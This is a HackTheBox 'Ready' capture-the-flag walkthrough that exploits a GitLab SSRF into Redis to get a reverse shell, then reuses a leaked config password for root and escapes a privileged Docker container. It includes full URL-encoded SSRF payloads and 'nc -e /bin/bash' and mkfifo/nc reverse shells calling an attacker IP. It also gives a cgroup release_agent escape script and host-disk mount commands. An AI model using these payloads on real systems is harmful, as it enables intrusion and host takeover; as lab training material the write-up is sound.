Ready [HTB]

Cover Image for Ready [HTB]
Marmeus
Marmeus

Introduction

Ready is a medium Linux Docker GitLab machine from HackTheBox where the attacker will have to exploit a SSRF in order to get a reverse shell, then will have to do some enumeration to get the Docker's root password for a later generation of a file system or produce a command execution in order to get the root flag.

Enumeration

As always, let's start finding all opened ports in the machine.

kali@kali:~$ sudo nmap -sS -p- 10.10.10.220 --open -n -T5 -oN AllPorts.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:25 EST
Nmap scan report for 10.129.48.170
Host is up (0.040s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5080/tcp open  onscreen

There are just two opened ports. Let's do a deeper about the opened ports.

kali@kali:~$ sudo nmap -sC -sV -p22,5080 10.129.48.170 -n -oN PortsInDepth.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:27 EST
Nmap scan report for 10.129.48.170
Host is up (0.040s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snipets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.129.48.170:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds

The port 5080 seems to be a web server, which turns out to be an Git Lab web page.

GitLab Sign in

Creating an account and looking at the GitLab version we can see that it isn't updated.

GitLab Version

With a quick search on Google, you can arrive to the following exploit, explained by the famous YouTuber LiveOverflow.

Explotation

In order to get a reverse shell, we need to create a new project by importing it using an URL (Create new project/ Import project / Repo by URL). Then, we fill the gaps in the form, adding the following Git repository URL git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git, as you can see below.

Gitlab Import project

After that, we need to intercept the form request using Burpsuite.

POST /projects HTTP/1.1
Host: ready.htb:5080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ready.htb:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Origin: http://ready.htb:5080
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
Upgrade-Insecure-Requests: 1

utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=http%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0

In order to get a the reverse shell we need to encode the following payload like an URL, changing the IP and port where the reverse shell will connect to.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test
 multi
 sadd resque:gitlab:queues system_hook_push

 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| nc -e /bin/bash 10.10.14.147 4444\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
 exec

The result is the following.

git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec

Now we have to overwrite the data in the variable import_url%5D= by the payload we have just created. The resulting request will look like this.

POST /projects HTTP/1.1
Host: ready.htb:5080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ready.htb:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Origin: http://ready.htb:5080
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
Upgrade-Insecure-Requests: 1

utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0

Finally, we just have to create a listening port and forward the request in order to get the shell.

Privilege escalation

Shell upgrade

Because the shell isn't tty, we have to upgrade it manually to get it work properly. For that you just need to execute these commands.

python3 -c "import pty; pty.spawn('/bin/bash')"
[Ctrl+z]
stty raw -echo
fg
reset
screen
export TERM=screen
export SHELL=/bin/bash

Enumeration

Looking for passwords in the /opt/backup directory, we can find a password for an SMTP service.

git@gitlab:/opt/backup$ grep -iR "password" . 2>/dev/null
[...]
./gitlab.rb:gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
[...]

These credential can be used to become root in the Docker container.

git@gitlab:/opt/backup$ su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/opt/backup# 

Escaping the container

Reading the docker-compose.yml we can see that this container has been created setting the privileged flag to true. This means that this container has root capabilities in the host machine, allowing us to access resources which are not accessible in ordinary containers.

root@gitlab:/opt/backup# cat docker-compose.yml 
version: '2.4'

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m

networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

There are several ways to get the root flag from despite being in the container, we are gonna cover both.

Command execution

Thanks to this post we can find a way to execute commands on the host machine, obtaining the the output of the commands, in our case the cat command. To do so, you only have to execute the following commands.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /root/root.txt > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

Furthermore, this exploit can be used to get a reverse shell as the root host.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.xx 4444 > /tmp/f" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Mounting a file system

The easiest way to get the root flag is by mounting the host file system in a folder we have just created, so we can navigate all over the Linux file system as root. The commands are the following.

root@gitlab:/opt/backup# fdisk -l 
...
Device        Start      End  Sectors Size Type
/dev/sda1      2048     4095     2048   1M BIOS boot
/dev/sda2      4096 37746687 37742592  18G Linux filesystem
/dev/sda3  37746688 41940991  4194304   2G Linux swap
root@gitlab:/opt/backup# mkdir /tmp/hostDir/
root@gitlab:/opt/backup# mount /dev/sda2 /tmp/hostDir/    
root@gitlab:/opt/backup# cat /tmp/hostDir/root/root.txt 
b7***************
root@gitlab:/opt/backup# umount /tmp/hostDir/